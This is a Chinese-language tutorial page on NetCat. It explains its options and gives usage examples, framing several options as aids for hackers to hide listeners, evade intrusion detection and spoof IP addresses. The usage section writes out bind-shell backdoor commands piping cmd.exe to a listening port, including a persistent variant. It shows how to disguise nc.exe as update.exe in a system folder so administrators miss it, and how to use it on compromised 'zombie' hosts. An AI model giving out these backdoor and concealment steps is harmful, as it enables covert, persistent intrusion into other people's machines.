萬盛學電腦網

 萬盛學電腦網 >> 系統工具 >> NetCat使用介紹

NetCat使用介紹

  nc的全稱為NetCat,它能夠建立並接受傳輸控制協議(TCP)和用戶數據報協議(UDP)的連接,Netcat可在這些連接上讀寫數據, 直到連接關閉為止。它可以通過手工或者腳本與應用層的網絡應用程序或服務進行交互。從技術上來講,NetCat並不能產生UDP連接,因為UDP是一種無 連接的協議。NetCat沒有圖形界面,很粗糙,很原始。

  nc的命令行

  nc的基本命令行形式是 nc [options] host ports,其中host是要掃描的主機名或IP地址,ports要麼是一個單獨的端口,要麼是一個端口范圍(用m-n的形式指定),要麼是一系列用空格隔開的單個端口。

  -d 只對Windows操作系統有用,該選項使NetCat以隱蔽模式工作,從而脫離MS-DOS命令提示符下環境運行,使得nc不需要保持打開命令窗口便可在監聽模式下運行,也可以幫助黑客很好地隱藏監聽NetCat實例而不被系統管理員發現。

  -e 如果NetCat使用gaping_security_hole選項進行編譯,那麼只要某人在NET後台所監聽的任何端口上建立連接,該NetCat都將 執行,且客戶端的NetCat會通過管道將I/O傳輸到在別處監聽的另一個NetCat實例中。使用這個選項非常危險,除非你對nc相當了解,起碼知道你 自己在做什麼。這是在系統中建立後門shell的一個非常快捷且容易的方法。

  -i 延時間隔,表示在兩次數據發送之間nc等待的時間。例如:當經過管道傳輸一個文件到nc的時候,在傳輸輸入的下一行之前,nc將等待的秒數。當使用nc對 一台主機的多個端口之間進行操作時,在切換到下一個端口之前,nc等待的秒數。這樣可以使黑客在進行數據傳輸或對一個服務進行攻擊的時候更加隱蔽,也可以 幫助你的端口掃描不被入侵檢測系統和系統管理員發現。

  -g這個選項具有欺騙性。nc支持loose source routing(松散源路由)。你可以在命令行中指定多達8個-g選項來強迫nc流量經過特定的IP地址,這在你為流量設置偽造的源IP地址時,可以利用 這個方法達到通過防火牆的過濾器或者允許訪問主機列表,希望接收到從主機返回的響應。

  -G該選項讓用戶在-g選項所指定的路由列表中指定的一個地址作為當前的下一路由,由於IP地址為4字節大小(IPV4),所以這個參數總是4 字節的倍數;例如,4代表路由表中的第一個IP地址,8代表第二個IP地址,依次類推。這在偽造部分源路由表使得報文看起來相當的有用。在進行欺騙和源路 由時,這個功能有助於屏蔽你的位置,但也不一定能接收到響應報文,因為響應報文將經過由偽造的IP地址反路由回來。

  -l 該選項切換nc的監聽模式。此選項必須與-p選項一起使用以告訴nc綁定某個指定的TCP端口並等待到來的連接。若換成-u選項,則應使用UDP端口而非TCP端口。

  -L 該選項在Windows版本中有用,當一個連接被關閉後,使用相同的命令行選項進行重啟監聽模式,即使此時初始的連接已經結束,nc也能在不需要用戶干涉的情況下接收後面新的連接。與-l一樣,必須與-p同時使用。

  -n 該選項告訴我們nc不做任何主機名查找的工作。

  -0對數據執行一次十六進制轉儲(hex dump )並將其存儲在hexfile中。命令nc-o hexfile將把雙向通信的數據記錄下來,在每行的開始處會有一個“<"或">”用來分別指示是進入數據還是外出數據。如果只想得到對進入 數據的十六進制轉儲,可以使用 nc -ohexfile命令。

  -p 讓用戶指定一個nc應使用的本地端口號。當通過-l或-L選項來使用監聽模式的時候,這個參數是必需的。如果沒有為外出連接指定這個參數,則與大多數其他TCP或UDP客戶程序的做法一樣,nc將使用系統分配給他的任何端口。

  -r 該參數使nc可以隨機選擇本地和遠程端口。當使用nc在系統中范圍很大的一批端口上獲取信息時,要想混合源端口和目標端口的順序看起來不怎麼象端口掃描, 這個選項是很有用的。當這個選項與-i選項和一個足夠大的間隔結合使用的時候,在不被注意的端口掃描成功幾率能得到很大提升。

  -s 指定nc建立連接時所使用的IP地址,該選項允許黑客做一些工作,它允許黑客隱藏他們的IP地址或假冒他人的IP地址,但是要得到路由到他們所欺騙的地址 的任何信息,都需要使用-g源路由選項。其次,當處於監聽模式時,大多數情況下都可以與一個已經監聽的服務“預先綁定”,所有TCP和UDP服務都綁定到 某個端口。

  -t 如果使用telnet選項編譯,nc就可以與telnet服務器進行telnet選項協商,雖然它的響應是毫無意義的信息,但可以通過該狀態看到連接23端口的信息。

  -u nc使用UDP而非TCP,在客戶模式和監聽模式下都起作用。

  -v 控制nc將要做的事情達到的程度,如使用nc -v,那麼nc將僅吐出它所接收到的數據,一個單獨的-v可以知道它連接或綁定的地址是否有問題發生,第2個-v可以讓nc在一個連接結束的時候讓你知道這個連接總共發送和接收了多少數據。

  -w控制在一個連接上nc放棄之前等待的時間。同時也告訴nc當在標准輸入上接收到一個eof(end-of-file)之後應該等待多長時間 來關閉連接並退出。如果你通過nc向遠程服務器發送命令並且期望大量的數據返回(例如:向一台web服務器發送一個http命令以下載一個大文件),該選 項是很有用的。

  nc的具體使用

  c:nc.exe -l -p 4455 -d -e cmd.exe 可以很好的隱藏一個NetCat後門。

  c:nc.exe -p 4455 -d -L -e cmd.exe 這個命令可以讓黑客利用NetCat重新返回系統,直到系統管理員在任務管理器中看見nc.exe在運行,從而發現這個後門,我們一樣可以把它做的更加隱蔽,

  c:move nc.exe c:windowssystem32Driversupdate.exe

  c:windowssysteme32driversupdate.exe -p 4455 -d -L -e cmd.exe

  系統管理員可能把特權附屬於一些無害的程序,如update.exe等,黑客也可以隱藏命令行。

  c:windowssystme32driversupdate.exe

  cmd line: -l -p 4455 -d -L -e cmd.exe

  c:>

  nc -l - p 80 監聽80端口

  nc -l -p 80 >c:log.dat 監聽80端口,並把信息記錄到log.dat中

  nc -v -l -p 80 監聽80端口,並顯示端口信息

  nc -vv -l -p 80 監聽80端口,顯示更詳細的端口信息

  nc -l -p 80 -t -e cmd.exe監聽本地的80端口的入站信息,同時將cmd.exe重定向到80端口,當有人連接的時候,就讓cmd.exe以telnet的形式應答。當然這個最好用在控制的肉雞上。

  nc -v ip port 掃瞄某IP的某個端口

  nc -v -z ip port-port掃描某IP的端口到某端口

  nc -v -z -u ip port-port掃描某IP的某UDP端口到某UDP端口

copyright © 萬盛學電腦網 all rights reserved